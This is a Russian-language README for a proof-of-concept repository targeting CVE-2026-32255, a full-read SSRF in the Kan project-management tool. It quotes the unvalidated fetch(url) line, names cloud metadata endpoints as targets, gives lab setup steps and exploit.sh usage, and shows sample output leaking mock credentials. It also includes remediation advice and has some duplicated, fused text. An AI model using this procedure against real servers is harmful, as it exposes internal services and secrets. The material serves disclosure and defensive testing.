
Этот репозиторий содержит доказательство концепции (POC) для CVE-2026-32255 — уязвимости подделки серверных запросов (SSRF) высокой степени серьезности в Kan, инструменте управления проектами с открытым исходным кодом.
Этот репозиторий содержит proof of concept (POC) для CVE-2026-32255 — уязвимости подделки серверных запросов (SSRF) высокого уровня серьезности в Kan, инструменте управления проектами с открытым исходным кодом.
Уязвимая конечная точка позволяет неаутентифицированным атакующим выполнять произвольные HTTP-запросы с сервера и читать полный ответ, что открывает доступ к внутренним сервисам и конечным точкам метаданных облака.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NФайл apps/web/src/pages/api/download/attatchment.ts предоставляет конечную точку GET /api/download/attatchment, предназначенную для проксирования загрузки вложений из S3-хранилища. Конечная точка принимает управляемый пользователем параметр запроса url и передает его напрямую в fetch() на стороне сервера без какой-либо проверки или аутентификации:
const upstream = await fetch(url); // no validation on `url`
Атакующий может указать любой URL, заставляя сервер выполнить HTTP-запрос к этому адресу и вернуть полное тело ответа клиенту. Это SSRF с полным чтением (не слепой), что означает возможность прочитать все содержимое ответа.
http://169.254.169.254/ на AWS/GCP)Клонируйте и запустите Kan v0.5.4 (последняя уязвимая версия):
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
Настройте необходимые переменные окружения:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
Примечание: Если вы получите ошибку о
dokploy-network, удалите ссылки наdokploy-networkизdocker-compose.yml(строки 9, 130-131) и снова выполнитеdocker compose up -d. Эта сеть не нужна локально.
Запустите контейнеры:
docker compose up -d
Приложение должно быть доступно по адресу http://localhost:3000.
В отдельном терминале запустите включенный имитируемый внутренний сервис, который симулирует чувствительный внутренний API:
python3 internal-service.py
Это запускает сервер на порту 8888, который возвращает поддельные учетные данные, имитируя сервис, который должен быть доступен только из внутренней сети. В реальном сценарии этот сервис был бы изолирован за межсетевым экраном и недоступен извне. SSRF позволяет атакующему получить к нему доступ через сервер.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <target-url> [internal-url]
<target-url>: Базовый URL экземпляра Kan (например, http://localhost:3000)[internal-url]: Внутренний URL для получения через SSRF (необязательно, автоматически определяется по шлюзу Docker bridge)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - Kan SSRF via Attachment Download ===
Target: http://localhost:3000
Internal URL: http://172.17.0.1:8888
[*] Checking if endpoint is reachable...
[+] Endpoint is reachable (HTTP 400)
[*] Attempting SSRF to http://172.17.0.1:8888 ...
[+] VULNERABLE - Server fetched internal resource
Leaked content:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
Обновитесь до Kan v0.5.5 или новее, где параметр url проверяется на соответствие имени хоста настроенной конечной точки S3 перед проксированием запроса.
Если вы не можете обновиться немедленно, заблокируйте внешний доступ к уязвимой конечной точке на уровне вашего обратного прокси.
Этот proof of concept предоставлен только для образовательных целей и авторизованного тестирования безопасности. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Автор не несет ответственности за любое неправомерное использование информации или инструментов, предоставленных в этом репозитории. Несанкционированный доступ к компьютерным системам является незаконным.
Обнаружено: kOaDT ([email protected])